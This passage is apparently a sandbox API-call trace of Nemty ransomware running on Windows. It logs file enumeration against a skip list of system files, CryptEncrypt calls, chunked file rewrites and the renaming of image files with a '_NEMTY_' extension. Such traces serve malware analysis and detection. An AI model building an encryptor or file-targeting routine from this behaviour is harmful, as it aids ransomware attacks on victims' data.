[0137.157] lstrcmpiW (lpString1="daisies.png", lpString2="ntldr") returned -1 [0137.157] lstrcmpiW (lpString1="daisies.png", lpString2="MSDOS.SYS") returned -1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="IO.SYS") returned -1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="boot.ini") returned 1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="boot.ini") returned 1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="AUTOEXEC.BAT") returned 1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="ntuser.dat") returned -1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="desktop.ini") returned -1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="CONFIG.SYS") returned 1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="RECYCLER") returned -1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="BOOTSECT.BAK") returned 1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="bootmgr") returned 1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="programdata") returned -1 [0137.158] lstrcmpiW (lpString1="daisies.png", lpString2="appdata") returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="daisies.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0137.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="daisies.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="daisies.png", lpUsedDefaultChar=0x0) returned 11 [0137.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="daisies.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0137.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="daisies.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="daisies.png", lpUsedDefaultChar=0x0) returned 11 [0137.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="daisies.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0137.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="daisies.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="daisies.png", lpUsedDefaultChar=0x0) returned 11 [0137.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="daisies.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0137.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="daisies.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="daisies.png", lpUsedDefaultChar=0x0) returned 11 [0137.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0137.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0137.158] Sleep (dwMilliseconds=0x5) [0137.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x56ca1d0, dwHighDateTime=0x1d561e8)) [0137.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x56ca1d0, dwHighDateTime=0x1d561e8)) [0137.200] GetLastError () returned 0x5 [0137.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0137.200] GetLastError () returned 0x5 [0137.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0137.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.200] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0137.200] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0137.200] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0137.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0137.200] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="c0qec7TLW09oKaWmwazY+xv0fnfdgkZmvZJsQk/piWt3TZq27ppTqOnQnTKQpx90\r\nkkflMoLRsUcZWzhMNYXBuylRALzZC5U04yPBRnmta3zSDKmoJauE6IVJutv39kSV\r\nIJw0cDOj6ey+gxeySqNJ3WE8guc8jAM+iF03Y9j8n9xQYWQeKOp0+Nc2eRg2e6Ii\r\n00Uy14/pVQZJUMGd8onXX8P1I1XHlaIsTBv555irr7B+IK6jWGb4xq3/09nHXNcn\r\n1zynTAM55SB0C2X2xfK/tpYMqfWJCXce71K3F6SlSnBMkg3YITR0mRL7HYZpRqAP\r\nIzxqOv6Rz4sFXlzQGvdUug==\r\n", pcchString=0x653e91c) returned 1 [0137.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0137.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0137.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0137.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0137.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0137.201] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.219] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0137.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0137.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.287] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.287] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.306] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.348] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0137.354] CloseHandle (hObject=0xffffffff) returned 0 [0137.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0137.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0137.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0137.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0137.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png._nemty_kgobjgd_")) returned 0 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0137.355] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5fda07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2=".") returned 1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="..") returned 1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="...") returned 1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="windows") returned -1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="$RECYCLE.BIN") returned 1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="rsa") returned -1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="NTDETECT.COM") returned -1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="ntldr") returned -1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="MSDOS.SYS") returned -1 [0137.355] lstrcmpiW (lpString1="glow.png", lpString2="IO.SYS") returned -1 [0137.356] lstrcmpiW (lpString1="glow.png", lpString2="boot.ini") returned 1 [0137.356] lstrcmpiW (lpString1="glow.png", lpString2="boot.ini") returned 1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="AUTOEXEC.BAT") returned 1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="ntuser.dat") returned -1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="desktop.ini") returned 1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="CONFIG.SYS") returned 1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="RECYCLER") returned -1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="BOOTSECT.BAK") returned 1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="bootmgr") returned 1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="programdata") returned -1 [0137.363] lstrcmpiW (lpString1="glow.png", lpString2="appdata") returned 1 [0137.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glow.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0137.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glow.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glow.png", lpUsedDefaultChar=0x0) returned 8 [0137.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glow.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0137.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glow.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glow.png", lpUsedDefaultChar=0x0) returned 8 [0137.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glow.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0137.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glow.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glow.png", lpUsedDefaultChar=0x0) returned 8 [0137.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glow.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 